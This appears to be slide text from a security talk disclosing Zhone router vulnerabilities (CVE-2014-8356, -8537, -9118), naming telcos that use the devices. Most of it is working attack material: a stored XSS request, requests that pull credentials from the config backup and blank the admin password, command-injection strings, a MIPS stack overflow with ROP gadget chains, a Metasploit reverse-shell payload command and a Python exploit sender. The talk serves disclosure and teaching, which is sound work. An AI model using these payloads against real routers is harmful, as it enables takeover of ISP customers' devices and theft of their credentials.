- CAT Telecom public company Ltd
- Orange Polska
- Servicios Públicos de Morteros Ltda.
- Telefonica del Sur S.A.
- Viewqwest Pte Ltd
- Sercomtel Celular S.A.
- Telecom S/A

Reference from Shodan

Telcos using Zhone Routers
Attacking your tech support

Stored XSS

POST
/zhnsystemconfig.cgi?snmpSysName=ZNID24xxA-Route&snmpSysContact=Zhoni%20Global%20Support
&snmpSysLocation=www.zhoni.com
%3Cscript%3Ealert(1)%3C/script%3E
&sessionKey=1853320716 HTTP/1.1
Host: 192.168.1.1
Privilege Escalation

CVE-2014-8356 Privilege Escalation via Javascript Controls

Access Control via Javascript!

Direct Object Reference to administrative functions!
Plaintext Passwords

All usernames and passwords usually found in the backup settings file!

CVE-2014-8537 – Exposed Plaintext Username & Passwords

Passwords found to be BASE64 encoded in backup settings.

GET /backupsettings.conf?action=getConfig

Response

HTTP/1.1 200 OK
Server: micro_httpd
Cache-Control: no-cache
Date: Sun, 14 Sep 2014 23:21:27 GMT
Content-Type: config/conf
Connection: close

<?xml version="1.0"?>
<ds1CpeConfig version="3.2">
  <InternetGatewayDevice>
    <LANDeviceNumberOfEntries>2</LANDeviceNumberOfEntries>
    <WANDeviceNumberOfEntries>1</WANDeviceNumberOfEntries>
    <DeviceInfo>
      <FirstUseDate>2014-07-29T05:46:58+00:00</FirstUseDate>
      <VendorConfigFileNumberOfEntries>0</VendorConfigFileNumberOfEntries>
    </DeviceInfo>
    <X_BROADCOM_COM_LoginCfg>
      <AdminPassword>**********</AdminPassword>
      <SupportPassword>**********</SupportPassword>
      <UserPassword>**********</UserPassword>
    </X_BROADCOM_COM_LoginCfg>
  </InternetGatewayDevice>
</ds1CpeConfig>
Privilege Escalation Again?

POST /uploadsettings.cgi HTTP/1.1
Host: 192.168.1.1

-----------------------------75010019812050198961998600862
Content-Disposition: form-data; name="filename"; filename="backupsettings.conf" Content-Type: config/conf

<?xml version="1.0"?> <DslCpeConfig version="3.2">
...
<AdminPassword></AdminPassword>
...
</DslCpeConfig>
5 -----------------------------75010019812050198961998600862—
CVE-2014-9118

Command Injection via the telnetd session

# download-sw “ftp://123:213@213:/ls -la”
Command Injection (HTTPD)

Favourite way to look for Command Injection via IDA Pro:
Search for keyword "shell" in IDA PRO:

Sample Exploit:
"ping?&test=traceroute&sessionKey=98703411&ipAddr=192.168.1.17/shell%20-%20tmp/shell&ttl=30&wait=3&queries=3"
Stack Overflow #1:

```
0xb267af0 in ?? ()
(gdb) continue
Continuing.
```

Program received signal SIGSEGV, Segmentation fault.
```
0x1414141 in ?? ()
(gdb) info registers
```
```
<table>
<thead>
<tr>
<th>Regs</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>R0</td>
<td>0x00000000</td>
</tr>
<tr>
<td>R1</td>
<td>0x00000000</td>
</tr>
<tr>
<td>R2</td>
<td>41414141</td>
</tr>
<tr>
<td>R3</td>
<td>41414141</td>
</tr>
<tr>
<td>R4</td>
<td>41414141</td>
</tr>
</tbody>
</table>
```
```
(gdb)
```
Stack Executable

Stack commonly found to be executable

```
~ # cat /proc/7782/maps | tail
2b259000-2b2b1000 r-xp 00000000 1f:00 449    /lib/libc.so.0
2b2b1000-2b2c0000 ---p 00000000 00:00 0
2b2c0000-2b2c1000 r--p 00057000 1f:00 449    /lib/libc.so.0
2b2c1000-2b2c2000 rw-p 00058000 1f:00 449    /lib/libc.so.0
2b2c2000-2b2c7000 rw-p 00000000 00:00 0
2b2c7000-2b2f1000 r-xp 00000000 1f:00 455    /lib/libgcc_s.so.1
2b2f1000-2b301000 ---p 00000000 00:00 0
2b301000-2b302000 rw-p 0002a000 1f:00 455    /lib/libgcc_s.so.1
58800000-5889c000 rw-s 00000000 00:06 0
7fa8d000-7faa5000 rwxp 00000000 00:00 0
~ #
```
Cache Incoherency

Reference:
MIPS Cache Incoherency

First two ROP Gadgets → Call the sleep function from libc library to flush the MIPS Data Cache. For that we need two ROP Gadgets

1. Setup value 1 in $a0

```assembly
li    $a0, 1
move  $t9, $s3
jalr  $t9 ; sub_50E70
```
2. Call libc sleep function

```assembly
LOAD: 0001A95C
LOAD: 0001A960
LOAD: 0001A964
LOAD: 0001A968
LOAD: 0001A96C
LOAD: 0001A970
LOAD: 0001A974
LOAD: 0001A974

move $t9, $s1
lw $ra, 0x28+var_4($sp)
lw $s2, 0x28+var_8($sp)
lw $s1, 0x28+var_C($sp)
lw $s0, 0x28+var_10($sp)

jr $t9
addiu $sp, 0x28

# End of function sub_1A8A0
```
Bypass ASLR

Last two ROP Gadgets:

- Copy address of stack
  ```
  LOAD:00047EB8
  LOAD:00047EBC
  LOAD:00047EC0
  LOAD:00047EC4
  LOAD:00047EC8
  LOAD:00047ECC
  ```
  ```
  addiu $s0, $sp, 0xA8+var_90
  move $s2, $a0
  move $a1, $zero
  li $a0, 3
  move $t9, $s1
  jalr $t9; sigprocmask
  ```

- Jump to stack to execute shellcode
  ```
  LOAD:0001F8C0
  LOAD:0001F8C4
  ```
  ```
  move $t9, $s0
  jalr $t9; fcntl
  ```
Commonly Craig Heffner IDA Script works best for looking for ROP Gadgets:
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

<table>
<thead>
<tr>
<th>Address</th>
<th>Action</th>
<th>Control Jump</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0001A95C</td>
<td>move $t9,$s1</td>
<td>jr $s1</td>
</tr>
<tr>
<td>0x000317F8</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
<tr>
<td>0x00031FBC</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x00032A1C</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003372C</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x000358A8</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
<tr>
<td>0x000380F0</td>
<td>move $t9,$s2</td>
<td>jr $s2</td>
</tr>
<tr>
<td>0x0003870</td>
<td>move $t9,$s2</td>
<td>jr $s2</td>
</tr>
<tr>
<td>0x00038430</td>
<td>move $t9,$s2</td>
<td>jr $s2</td>
</tr>
<tr>
<td>0x00038648</td>
<td>move $t9,$s2</td>
<td>jr $s2</td>
</tr>
<tr>
<td>0x0003A078</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
<tr>
<td>0x0003A0E0</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
<tr>
<td>0x0003A88C</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003A888</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003B11C</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003B138</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003B0C8</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003BC28</td>
<td>move $t9,$a1</td>
<td>jr $a1</td>
</tr>
<tr>
<td>0x0003CDD8</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
<tr>
<td>0x00042A9C</td>
<td>move $t9,$s0</td>
<td>jr $s0</td>
</tr>
</tbody>
</table>

Found 20 matching gadgets
Excited to POP Shell!
Generate Shellcode:
msfpayload linux/mipsbe/shell_reverse_tcp lport=31337 lhost=192.168.1.177 R

Bad Characters Problem! :
0x20 0x00 0x3a 0x0a 0x3f

Encode Shellcode:
msfencode -e mipsbe/longxor -b '0x20 0x00 0x3a 0x0a 0x3f' -t c
No Shell!?

Traced through GDB Debugger
1. ROP Gadgets worked fine
2. Shellcode decodes correctly
Simplified version of encoder

```
li $s1, 9999
la $s2, 0($sp)
lw $t2, 4($s2)
xor $v1, $t2, $s1
sw $v1, 4($s2)
```
Shell Died Instantly?!
Problem

Router constantly monitors all critical services
Kills and re-spawns services if not functioning

Solution:
Fork the shellcode
MIPS Exploit Writing

Clear Cache
→ Sleep()

ASLR
→ Use ROP Gadget to jump to Stack

Bad Characters
→ Wrote your own encoder

Auto-Respawn Process Monitoring
→ Fork the Shellcode Process
s.connect((host, 80))
s.send("GET /.html")
s.send(buf)
s.send(s0)
s.send(s1)
s.send(s2)
s.send(s3)
s.send(s4)
s.send(s5)
s.send(s6)
s.send(s7)
s.send(ra)
s.send(shellcode)
s.send(".cgi HTTP/1.1%s" % 'n')
s.send("Host: 192.168.1.1%s" % 'n')
s.send("User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0%s" % 'n')
s.send("Accept: */%s" % 'n')
s.send("Accept-Language: en-US,en;q=0.5%s" % 'n')
s.send("Accept-Encoding: gzip, deflate%s" % 'n')
s.send("Referer: http://132.147.82.80/%s" % 'n')
s.send("Authorization: Basic YWRtaW46ODc0MjY4N0Y6%s" % 'n')
If time permits we'll learn briefly how to write the 0-Day MIPS Exploit later!
Cache Incoherency

- **Self-modifying code** (Encoder/Decoder) would commonly cause Cache Incoherency

- Instructions stored in **Instruction Cache** will execute **instead of Data Cache**

- Modified Shellcode is stored in Data Cache and will not execute

Reference:
http://community.arm.com/groups/processors/blog/2010/02/17/caches-and-self-modifying-code
Cache Incoherency (ARM)

- Encode and **decode** only the **data** portion of the shellcode. Data is not considered as Instructions!
Decoding Data

Instruction Cache

Decoder

Shellcode (Instructions)

Read Data

Data Cache

Decode

Shellcode (Decoded Data)
ARMEncoder

ARMCoder (Alpha Stage)
- Mthumb encoder (Encodes all or part of your ARM Shellcodes)
- Provides you with an encoder
- Objdump your shellcode binary to specific formats like C: \\
x41\x42\x43\x44

Upcoming features
- Detects for bad characters
- 32bit encoder
- Generates Shellcode
- Accept other forms of shellcode input. (Currently only supports reading from binary)
- Added support for MIPS Architecture

Download Link: https://github.com/l0Op3r/ARMCoder
So what do we do?

Lots to protect!

IoT Devices are devices with lots of services

- Web
- Network
- Wireless
- Host Hardening
- Secure C++ Coding and Compilation Options
Awesome References!

- Craig Heffner [http://www.devttys0.com/](http://www.devttys0.com/)
Email: lyon.yang.s@gmail.com

Twitter/Github: @l0Op3r
Special Thanks

Bernhard Mueller
Paul Craig
Stefan Streichsbier
Roberto Suggi Liverani
Han Lee
Ryan Baxendale
Nicolas Collery
Thank you!